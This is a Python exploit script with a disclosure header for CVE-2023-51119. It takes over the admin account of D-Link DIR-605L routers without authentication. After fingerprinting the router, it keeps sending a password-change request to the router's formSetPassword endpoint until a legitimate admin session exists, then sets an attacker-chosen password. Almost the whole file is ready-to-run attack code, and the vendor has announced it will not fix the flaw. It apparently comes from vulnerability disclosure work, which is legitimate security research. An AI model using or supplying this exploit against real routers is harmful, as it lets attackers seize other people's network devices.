#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Exploit Title: Improper Access Control Vulnerability on D-Link DIR-605L router Date: 08/01/2024 Exploit Author: OscarAkaElvis Vendor Homepage: https://www.dlink.com/ Version: D-Link DIR-605L router Tested on: Software/Firmware version 2.13, Hardware version B2 CVE: CVE-2023-51119 Disclosure timeline: 11/12/2023: Vulnerability was discovered 12/12/2023: Reported to Mitre 20/12/2023: No answer yet from Mitre, reported to D-Link as part of responsible disclosure 22/12/2023: Vulnerability confirmed by D-Link, won't fix announcement published (https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10368) 23/12/2023: Vendor's announcement link shared to Mitre 04/01/2024: Mitre assigned CVE number (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-51119) 07/01/2024: Public disclosure (https://twitter.com/OscarAkaElvis/status/1744042753707712916) 08/01/2024: Exploit creation and PoC video created (https://twitter.com/OscarAkaElvis/status/1744452649011892566) 08/01/2024: Exploit sent to Exploit-db, no answer 21/04/2024: Exploit-db resubmission Exploitation explanation: Due to an incorrect access control, a takeover can be done over the admin account without any kind of authentication sending a request under special circumstances (only needs a legitimate admin to be logged in) Actually, any router's doable action on the web configuration panel can be done including the change of the admin's password (leading into the takeover) This exploit automatize the entire process to set any password for admin user on the router Happy hacking :) OscarAkaElvis - https://twitter.com/OscarAkaElvis """ # Dependencies and libraries import requests import re from sys import argv, exit import argparse from os import path from time import sleep from base64 import b64encode class Exploit(object): # Global class vars session = requests.Session() user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36" ip = None username = "admin" password = None default_ip = "192.168.0.1" default_password = "SessionHijacked" b64_password = "" exploit_version = "1.0" script_name = path.basename(argv[0]) description_text = 'CVE-2023-51119 exploit by OscarAkaElvis, Improper Access Control Vulnerability on D-Link DIR-605L router. Password for admin user can be set' epilog_text = 'Examples:\n python3 ' + script_name + ' -i 192.168.0.150\n python3 ' + script_name + ' -p anyPassword\n python3 ' + script_name + ' -i 10.0.0.1 -p anyPassword' def start_msg(self): print("[*] Starting CVE-2023-51119 exploit...") sleep(0.5) def check_params(self, arguments): parser = argparse.ArgumentParser(description=self.description_text, formatter_class=argparse.RawDescriptionHelpFormatter, epilog=self.epilog_text) parser.add_argument('-i', '--ip', dest='ip', required=False, help="set router's ip", metavar='IP') parser.add_argument('-p', '--password', dest='password', required=False, help="password to set for admin user on the router (15 chars max)", metavar='PASSWORD') parser.add_argument('-v', '--version', action='version', version=self.print_version(), help="show exploit's version number and exit") args = parser.parse_args(arguments) self.start_msg() print("[*] Launch the exploit using -h argument to check all the available options") print() if not args.ip: self.ip = self.default_ip print("[!] Warning, no ip set, default will be used: " + str(self.ip)) else: self.ip = args.ip if not args.password: self.password = self.default_password print("[!] Warning, no password chosen, default will be set: " + str(self.password)) else: if len(args.password) > 15: print() print("[-] Please, set a 15 chars max password. Exiting...") exit(1) else: self.password = args.password def print_version(self): print() return 'v{}'.format(self.exploit_version) def check_router(self): try: print("[*] Trying to detect router...") headers = {"User-Agent": self.user_agent} response = self.session.get("http://" + str(self.ip) + "/comm.asp", headers=headers) if re.match(r'.*DIR-605L.*', str(response.text)): print("[+] D-Link DIR-605L router detected successfully") else: print() print("[-] It seems the target is not a D-Link router") print("[*] Exiting...") exit(1) except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError): print() print("[-] Can't connect to the router") print("[*] Exiting...") exit(1) def hijack_password(self): try: data = {'settingsChanged': '1', 'config.login_name': self.username, 'config.password': self.b64_password} headers = {"User-Agent": self.user_agent} response = self.session.post("http://" + str(self.ip) + "/goform/formSetPassword", headers=headers, data=data, allow_redirects=True) if int(response.headers['Content-Length']) > 3000: return True else: return False except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError): return False def do_magic(self): try: print() print("[*] This exploit will work only if a legitimate admin is logged in") print("[*] Trying to hijack router's password...") self.b64_password = b64encode(self.password.encode('utf-8')).decode('utf-8') print() while not self.hijack_password(): print("[-] It seems no admin session yet to perform the password hijacking. Waiting 5 seconds...") sleep(5) print("[+] Password for admin user set on router successfully: " + self.password) print("[+] Happy hacking :) . Author: OscarAkaElvis") except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError): print() print("[!] An unexpected error occurred. Exiting...") exit(1) except KeyboardInterrupt: print() print("[!] Ctrl+C trap captured. Exiting...") exit(1) @staticmethod def main(self, arguments): self.check_params(arguments) self.check_router() self.do_magic() exit(0) if __name__ == '__main__': ImportObject = Exploit() ImportObject.main(ImportObject, argv[1:])